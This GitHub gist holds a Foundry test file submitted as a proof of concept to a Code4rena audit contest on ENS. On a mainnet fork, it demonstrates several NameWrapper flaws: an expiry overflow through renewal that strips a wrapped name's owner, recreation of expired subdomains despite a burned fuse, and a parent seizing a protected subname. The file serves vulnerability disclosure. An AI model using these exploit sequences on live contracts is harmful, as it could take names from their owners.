-
-
Save zzzitron/7670730176e35d7b2322bc1f4b9737f0 to your computer and use it in GitHub Desktop.
proof of concept for 2022 11 ens versus contest on code4rena
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // SPDX-License-Identifier: UNLICENSED | |
| pragma solidity ^0.8.13; | |
| import "forge-std/Test.sol"; | |
| import {NameEncoder} from "2022-11-ens-code4rena/utils/NameEncoder.sol"; // dnsEncodeName(string name) | |
| import {Root} from "2022-11-ens-code4rena/root/Root.sol"; | |
| import {ENS} from "2022-11-ens-code4rena/registry/ENS.sol"; // imports interface ENS | |
| import {IBaseRegistrar} from "2022-11-ens-code4rena/ethregistrar/IBaseRegistrar.sol"; // eth registrar | |
| import {BaseRegistrarImplementation} from "2022-11-ens-code4rena/ethregistrar/BaseRegistrarImplementation.sol"; // eth registrar | |
| import {StaticMetadataService} from "2022-11-ens-code4rena/wrapper/StaticMetadataService.sol"; | |
| import {IMetadataService} from "2022-11-ens-code4rena/wrapper/IMetadataService.sol"; | |
| import {INameWrapper, CANNOT_UNWRAP, CANNOT_BURN_FUSES, CANNOT_TRANSFER, CANNOT_SET_RESOLVER, CANNOT_SET_TTL, CANNOT_CREATE_SUBDOMAIN, PARENT_CANNOT_CONTROL, CAN_DO_EVERYTHING, IS_DOT_ETH, PARENT_CONTROLLED_FUSES, USER_SETTABLE_FUSES} from "2022-11-ens-code4rena/wrapper/INameWrapper.sol"; | |
| import {NameWrapper, OperationProhibited, Unauthorised} from "2022-11-ens-code4rena/wrapper/NameWrapper.sol"; | |
| import {INameWrapperUpgrade} from "2022-11-ens-code4rena/wrapper/INameWrapperUpgrade.sol"; | |
| import {DummyOracle} from "2022-11-ens-code4rena/ethregistrar/DummyOracle.sol"; | |
| import {ExponentialPremiumPriceOracle} from "2022-11-ens-code4rena/ethregistrar/ExponentialPremiumPriceOracle.sol"; | |
| import {AggregatorInterface} from "2022-11-ens-code4rena/ethregistrar/StablePriceOracle.sol"; | |
| import {IETHRegistrarController, IPriceOracle} from "2022-11-ens-code4rena/ethregistrar/IETHRegistrarController.sol"; | |
| import {ETHRegistrarController} from "2022-11-ens-code4rena/ethregistrar/ETHRegistrarController.sol"; | |
| import {ReverseRegistrar} from "2022-11-ens-code4rena/registry/ReverseRegistrar.sol"; | |
| import {UpgradedNameWrapperMock} from "2022-11-ens-code4rena/wrapper/mocks/UpgradedNameWrapperMock.sol"; | |
| contract TestPoc is Test { | |
| using NameEncoder for string; | |
| address public root_owner = 0xCF60916b6CB4753f58533808fA610FcbD4098Ec0; | |
| address public root_addr = 0xaB528d626EC275E3faD363fF1393A41F581c5897; // root.ens.eth | |
| address public registry_addr = 0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e; // ENS | |
| address public registrar_owner = 0xFe89cc7aBB2C4183683ab71653C4cdc9B02D44b7; | |
| address public registrar_addr = 0x57f1887a8BF19b14fC0dF6Fd9B2acc9Af147eA85; // ETH Registrar | |
| address public reverse_addr = 0x084b1c3C81545d370f3634392De611CaaBFf8148; | |
| address public old_eth_registrar_controller_addr = 0x283Af0B28c62C092C9727F1Ee09c02CA627EB7F5; // old controller | |
| address public default_resolver = 0xA2C122BE93b0074270ebeE7f6b7292C7deB45047; | |
| address public user1 = 0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045; // vitalik.eth | |
| address public user2 = address(1234); | |
| bytes32 public ROOT_NODE = bytes32(0); | |
| ENS public ens; | |
| Root public root; | |
| IBaseRegistrar public registrar; | |
| IMetadataService public metadata; | |
| NameWrapper public nameWrapper; | |
| INameWrapperUpgrade public nameWrapperUpgrade; | |
| AggregatorInterface public usdOracle; | |
| IPriceOracle public prices; | |
| ReverseRegistrar public reverse; | |
| ETHRegistrarController public ethController; | |
| function getDeployed() public { | |
| ens = ENS(registry_addr); | |
| root = Root(root_addr); | |
| registrar = IBaseRegistrar(registrar_addr); | |
| } | |
| function deploy() public { | |
| // Metadata Service | |
| metadata = IMetadataService(address(new StaticMetadataService('ens-metadata-service.appspot.com/name/0x{id}'))); | |
| // NameWrapper | |
| deployNameWrapper(); | |
| // price oracle\reverseregistrar | |
| deployPriceOracle(); | |
| // reverseRegistrar | |
| deployReverseRegistrar(); | |
| // eth controller | |
| deployETHRegistrarController(); | |
| } | |
| function deployETHRegistrarController() public { | |
| uint256 _minCommitmentAge = 60; | |
| uint256 _maxCommitmentAge = 86400; | |
| ethController = new ETHRegistrarController( | |
| BaseRegistrarImplementation(address(registrar)), | |
| prices, | |
| _minCommitmentAge, | |
| _maxCommitmentAge, | |
| reverse, | |
| INameWrapper(address(nameWrapper)) | |
| ); | |
| // transferOwnership to owner | |
| ethController.transferOwnership(root_owner); | |
| assertEq(ethController.owner(), root_owner); | |
| vm.prank(root_owner); | |
| nameWrapper.setController(address(ethController), true); | |
| vm.prank(root_owner); | |
| reverse.setController(address(ethController), true); | |
| } | |
| function deployPriceOracle() public { | |
| // deploy based on the deploy script | |
| // dummyOracle | |
| int256 latestAns = 160000000000; | |
| usdOracle = AggregatorInterface(address(new DummyOracle(latestAns))); | |
| assertEq(latestAns, usdOracle.latestAnswer()); | |
| // ExponentialPremiumPriceOracle | |
| uint256[] memory _rentPrices = new uint256[](5); | |
| _rentPrices[2] = 20294266869609; | |
| _rentPrices[3] = 5073566717402; | |
| _rentPrices[4] = 158548959919; | |
| uint256 _startPremium = 100000000000000000000000000; | |
| uint256 totalDays = 21; | |
| prices = IPriceOracle(address(new ExponentialPremiumPriceOracle( | |
| usdOracle, _rentPrices, _startPremium, totalDays | |
| ))); | |
| } | |
| function deployReverseRegistrar() public { | |
| reverse = new ReverseRegistrar(ens); | |
| // transfer ownership of reverse to root_owner | |
| reverse.transferOwnership(root_owner); | |
| // set owner of .reverse to owner on root | |
| bytes32 subnode = keccak256(abi.encodePacked(ROOT_NODE, keccak256(bytes('reverse')))); | |
| vm.prank(root_owner); | |
| root.setSubnodeOwner(keccak256(bytes('reverse')), root_owner); | |
| assertEq(ens.owner(subnode), root_owner); | |
| // set owner of .addr.reverse to reverseregistrar on registry | |
| string memory str_node = 'reverse'; | |
| (, bytes32 reverse_node) = str_node.dnsEncodeName(); | |
| vm.prank(root_owner); | |
| ens.setSubnodeOwner(reverse_node, keccak256(bytes('addr')), address(reverse)); | |
| str_node = 'addr.reverse'; | |
| (, reverse_node) = str_node.dnsEncodeName(); | |
| assertEq(ens.owner(reverse_node), address(reverse)); | |
| // set defaultResolver | |
| vm.prank(root_owner); | |
| reverse.setDefaultResolver(default_resolver); | |
| assertEq(default_resolver, address(reverse.defaultResolver())); | |
| } | |
| function deployNameWrapper() public { | |
| nameWrapper = new NameWrapper(ens, registrar, metadata); | |
| // transfer Ownership | |
| nameWrapper.transferOwnership(root_owner); | |
| assertEq(nameWrapper.owner(), root_owner); | |
| // add as controller on registrar | |
| assertEq(BaseRegistrarImplementation(registrar_addr).controllers(address(nameWrapper)), false); | |
| vm.prank(registrar_owner); | |
| registrar.addController(address(nameWrapper)); | |
| assertEq(BaseRegistrarImplementation(registrar_addr).controllers(address(nameWrapper)), true); | |
| } | |
| function setUp() public { | |
| getDeployed(); | |
| deploy(); | |
| } | |
| function _hashLabel(string memory label) private pure returns (bytes32 ) { | |
| return keccak256(bytes(label)); | |
| } | |
| function _makeNode(bytes32 node, bytes32 labelhash) private pure returns (bytes32) { | |
| return keccak256(abi.encodePacked(node, labelhash)); | |
| } | |
| function testM1RenewToDosName() public { | |
| string memory str_node = 'vitalik.eth'; | |
| string memory label = 'vitalik'; | |
| (bytes memory dnsName, bytes32 node) = str_node.dnsEncodeName(); | |
| // user1 is owner of unwrapped name 'vitalik.eth' | |
| assertEq(user1, ens.owner(node)); | |
| // before wrapped owner of the node in namewrapper is zero | |
| (address owner, uint32 fuses, uint64 expiry) = nameWrapper.getData(uint256(node)); | |
| assertEq(owner, address(0)); | |
| // -- user wrapETH2LD to wrap 'vitalik.eth' | |
| vm.prank(user1); | |
| registrar.setApprovalForAll(address(nameWrapper), true); | |
| vm.prank(user1); | |
| nameWrapper.wrapETH2LD('vitalik', user1, 0 /* no fuse */, address(0) /* resolver */); | |
| // sanity check | |
| (owner, fuses, expiry) = nameWrapper.getData(uint256(node)); | |
| assertEq(owner, user1); | |
| assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH); | |
| assertEq(expiry, 2038123728); | |
| // user1 can set resolver | |
| vm.prank(user1); | |
| nameWrapper.setResolver(node, address(111)); | |
| assertEq(ens.resolver(node), address(111)); | |
| // end wrapETH2LD -- | |
| // make expiry in nameWraper for node overflow | |
| uint256 duration = type(uint64).max - expiry + 90 days + 1; | |
| IPriceOracle.Price memory price = ethController.rentPrice('vitalik', duration); | |
| assertEq(address(this).balance > price.base, true); | |
| // renew to overflow (anyone with enough eth can do this) | |
| ethController.renew{value: price.base }('vitalik', duration); | |
| // expiry in the way nameWrapper calculates: | |
| expiry = uint64(registrar.nameExpires(uint256(_hashLabel(label)))); | |
| assertEq(expiry, 0); | |
| // check | |
| (owner, fuses, expiry) = nameWrapper.getData(uint256(node)); | |
| assertEq(expiry, 90 days); // 90 days added for Grade period | |
| // after expired, fuses and owner are zero: | |
| assertEq(fuses, 0); | |
| assertEq(owner, address(0)); | |
| // user1 is not authorised anymore for the node | |
| vm.expectRevert(abi.encodeWithSelector(Unauthorised.selector, node, user1)); | |
| vm.prank(user1); | |
| nameWrapper.setResolver(node, address(123)); | |
| } | |
| function deployNameWrapperUpgrade() public { | |
| // deploy UpgradedNameWrapperMock | |
| UpgradedNameWrapperMock upgrade = new UpgradedNameWrapperMock(address(nameWrapper), ens, registrar); | |
| nameWrapperUpgrade = INameWrapperUpgrade(address(upgrade)); | |
| // add as controller on registrar | |
| assertEq(BaseRegistrarImplementation(registrar_addr).controllers(address(upgrade)), false); | |
| vm.prank(registrar_owner); | |
| registrar.addController(address(upgrade)); | |
| assertEq(BaseRegistrarImplementation(registrar_addr).controllers(address(upgrade)), true); | |
| } | |
| function testM2TransferWhileUpgrade() public { | |
| // using the mock for upgrade contract | |
| deployNameWrapperUpgrade(); | |
| string memory node_str = 'vitalik.eth'; | |
| string memory sub1_full = 'sub1.vitalik.eth'; | |
| string memory sub1_str = 'sub1'; | |
| (, bytes32 node) = node_str.dnsEncodeName(); | |
| (bytes memory sub1_dnsname, bytes32 sub1_node) = sub1_full.dnsEncodeName(); | |
| // wrap parent and lock | |
| vm.prank(user1); | |
| registrar.setApprovalForAll(address(nameWrapper), true); | |
| vm.prank(user1); | |
| nameWrapper.wrapETH2LD('vitalik', user1, type(uint16).max /* all fuses are burned */, address(0)); | |
| // sanity check | |
| (address owner, uint32 fuses, uint64 expiry) = nameWrapper.getData(uint256(node)); | |
| assertEq(owner, user1); | |
| assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH | type(uint16).max); | |
| assertEq(expiry, 2038123728); | |
| // upgrade as nameWrapper's owner | |
| vm.prank(root_owner); | |
| nameWrapper.setUpgradeContract(nameWrapperUpgrade); | |
| assertEq(address(nameWrapper.upgradeContract()), address(nameWrapperUpgrade)); | |
| // user1 calls upgradeETH2LD | |
| vm.prank(user1); | |
| nameWrapper.upgradeETH2LD('vitalik', address(123) /* new owner */, address(531) /* resolver */); | |
| } | |
| function testM3ExpiredNamesBehavesUnwrapped() public { | |
| string memory str_node = 'vitalik.eth'; | |
| (bytes memory dnsName, bytes32 node) = str_node.dnsEncodeName(); | |
| // before wrapping the name check | |
| assertEq(user1, ens.owner(node)); | |
| (address owner, uint32 fuses, uint64 expiry) = nameWrapper.getData(uint256(node)); | |
| assertEq(owner, address(0)); | |
| // -- wrapETH2LD | |
| vm.prank(user1); | |
| registrar.setApprovalForAll(address(nameWrapper), true); | |
| vm.prank(user1); | |
| nameWrapper.wrapETH2LD('vitalik', user1, 0, address(0)); | |
| // after name wrap check | |
| (owner, fuses, expiry) = nameWrapper.getData(uint256(node)); | |
| assertEq(owner, user1); | |
| assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH); | |
| assertEq(expiry, 2038123728); | |
| // wrapETH2LD -- | |
| vm.warp(2038123729); | |
| // after expiry | |
| (owner, fuses, expiry) = nameWrapper.getData(uint256(node)); | |
| assertEq(owner, address(0)); | |
| assertEq(fuses, 0); | |
| assertEq(expiry, 2038123728); | |
| assertEq(nameWrapper.ownerOf(uint256(node)), address(0)); | |
| assertEq(ens.owner(node), address(nameWrapper)); // registry.owner is not zero | |
| vm.expectRevert(); | |
| registrar.ownerOf(uint256(node)); | |
| } | |
| function testM3ExpiredNameCreate() public { | |
| // After expired, the ens.owner's address is non-zero | |
| // therefore, the parent can 'create' the name evne CANNOT_CREATE_SUBDOMAIN is burned | |
| string memory parent = 'vitalik.eth'; | |
| string memory sub1_full = 'sub1.vitalik.eth'; | |
| string memory sub1 = 'sub1'; | |
| (, bytes32 parent_node) = parent.dnsEncodeName(); | |
| (bytes memory sub1_dnsname, bytes32 sub1_node) = sub1_full.dnsEncodeName(); | |
| // wrap parent and lock | |
| vm.prank(user1); | |
| registrar.setApprovalForAll(address(nameWrapper), true); | |
| vm.prank(user1); | |
| nameWrapper.wrapETH2LD('vitalik', user1, uint16(CANNOT_UNWRAP), address(0)); | |
| // checks | |
| (address owner, uint32 fuses, uint64 expiry) = nameWrapper.getData(uint256(parent_node)); | |
| assertEq(owner, user1); | |
| assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH | CANNOT_UNWRAP); | |
| assertEq(expiry, 2038123728); | |
| // create subnode | |
| vm.prank(user1); | |
| nameWrapper.setSubnodeOwner(parent_node, 'sub1', user2, PARENT_CANNOT_CONTROL, 1700000000); | |
| (owner, fuses, expiry) = nameWrapper.getData(uint256(sub1_node)); | |
| assertEq(owner, user2); | |
| assertEq(fuses, PARENT_CANNOT_CONTROL); | |
| assertEq(expiry, 1700000000); | |
| // now parent cannot create subdomain | |
| vm.prank(user1); | |
| nameWrapper.setFuses(parent_node, uint16(CANNOT_CREATE_SUBDOMAIN)); | |
| (owner, fuses, expiry) = nameWrapper.getData(uint256(parent_node)); | |
| assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH | CANNOT_UNWRAP | CANNOT_CREATE_SUBDOMAIN); | |
| // parent: pcc cu CANNOT_CREATE_SUBDOMAIN | |
| // child: pcc | |
| // unwrap and sets the owner to zero | |
| // parent cannot use setSubnodeRecord on PCCed sub | |
| vm.expectRevert(abi.encodeWithSelector(OperationProhibited.selector, sub1_node)); | |
| vm.prank(user1); | |
| nameWrapper.setSubnodeRecord(parent_node, sub1, user1, address(1), 10, 0, 0); | |
| // expire sub1 | |
| vm.warp(1700000001); | |
| (owner, fuses, expiry) = nameWrapper.getData(uint256(sub1_node)); | |
| assertEq(owner, address(0)); | |
| assertEq(fuses, 0); | |
| assertEq(expiry, 1700000000); | |
| assertEq(ens.owner(sub1_node), address(nameWrapper)); | |
| // user1 can re-"create" sub1 even though CANNOT_CREATE_SUBDOMAIN is set on parent | |
| vm.prank(user1); | |
| nameWrapper.setSubnodeRecord(parent_node, sub1, address(3), address(11), 10, 0, 0); | |
| (owner, fuses, expiry) = nameWrapper.getData(uint256(sub1_node)); | |
| assertEq(owner, address(3)); | |
| assertEq(fuses, 0); | |
| assertEq(expiry, 1700000000); | |
| assertEq(ens.owner(sub1_node), address(nameWrapper)); | |
| // comparison: tries create a new subdomain and revert | |
| string memory sub2 = 'sub2'; | |
| string memory sub2_full = 'sub2.vitalik.eth'; | |
| (, bytes32 sub2_node) = sub2_full.dnsEncodeName(); | |
| vm.expectRevert(abi.encodeWithSelector(OperationProhibited.selector, sub2_node)); | |
| vm.prank(user1); | |
| nameWrapper.setSubnodeRecord(parent_node, sub2, user2, address(11), 10, 0, 0); | |
| } | |
| function testM4WrappedToUnregistered() public { | |
| string memory parent = 'vitalik.eth'; | |
| string memory sub1_full = 'sub1.vitalik.eth'; | |
| string memory sub1 = 'sub1'; | |
| (, bytes32 parent_node) = parent.dnsEncodeName(); | |
| (bytes memory sub1_dnsname, bytes32 sub1_node) = sub1_full.dnsEncodeName(); | |
| // wrap parent and lock | |
| vm.prank(user1); | |
| registrar.setApprovalForAll(address(nameWrapper), true); | |
| vm.prank(user1); | |
| nameWrapper.wrapETH2LD('vitalik', user1, uint16(CANNOT_UNWRAP), address(0)); | |
| // checks | |
| (address owner, uint32 fuses, uint64 expiry) = nameWrapper.getData(uint256(parent_node)); | |
| assertEq(owner, user1); | |
| assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH | CANNOT_UNWRAP); | |
| assertEq(expiry, 2038123728); | |
| // subnode | |
| vm.prank(user1); | |
| nameWrapper.setSubnodeOwner(parent_node, 'sub1', user2, PARENT_CANNOT_CONTROL, 1700000000); | |
| (owner, fuses, expiry) = nameWrapper.getData(uint256(sub1_node)); | |
| assertEq(owner, user2); | |
| assertEq(fuses, PARENT_CANNOT_CONTROL); | |
| assertEq(expiry, 1700000000); | |
| // parent cannot set record on the sub1 | |
| vm.expectRevert(abi.encodeWithSelector(OperationProhibited.selector, sub1_node)); | |
| vm.prank(user1); | |
| nameWrapper.setSubnodeRecord(parent_node, sub1, user1, address(1), 10, 0, 0); | |
| // parent: pcc cu | |
| // child: pcc | |
| // unwrap sub and set the ens owner to zero -> now parent can change owner | |
| vm.prank(user2); | |
| nameWrapper.unwrap(parent_node, _hashLabel(sub1), address(ens)); | |
| assertEq(ens.owner(sub1_node), address(0)); | |
| // sub node has PCC but parent can set owner, resolve and ttl | |
| vm.prank(user1); | |
| nameWrapper.setSubnodeRecord(parent_node, sub1, address(246), address(12345), 111111, 0, 0); | |
| (owner, fuses, expiry) = nameWrapper.getData(uint256(sub1_node)); | |
| assertEq(owner, address(246)); | |
| assertEq(fuses, PARENT_CANNOT_CONTROL); | |
| assertEq(expiry, 1700000000); | |
| assertEq(ens.resolver(sub1_node), address(12345)); | |
| assertEq(ens.ttl(sub1_node), 111111); | |
| // can change fuse as the new owner of sub1 | |
| vm.prank(address(246)); | |
| nameWrapper.setFuses(sub1_node, uint16(CANNOT_UNWRAP)); | |
| (owner, fuses, expiry) = nameWrapper.getData(uint256(sub1_node)); | |
| assertEq(owner, address(246)); | |
| assertEq(fuses, PARENT_CANNOT_CONTROL | CANNOT_UNWRAP); | |
| assertEq(expiry, 1700000000); | |
| assertEq(ens.resolver(sub1_node), address(12345)); | |
| assertEq(ens.ttl(sub1_node), 111111); | |
| } | |
| } |
Author
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
HOW TO RUN THE TEST
Note: need credential for github for
code-423n4/2022-11-ensrepositoryforge install 2022-11-ens-code4rena=code-423n4/2022-11-ens forge install @openzeppelin=OpenZeppelin/openzeppelin-contracts@v4.1.0 forge remappings > remappings.txtDelete this
to replace to the line below
testdir$WEB3_API_HTTPto your API tokenNote: the block-number is at 26.11.2022. Fixed just in case the
vitalik.ethdata might be changed.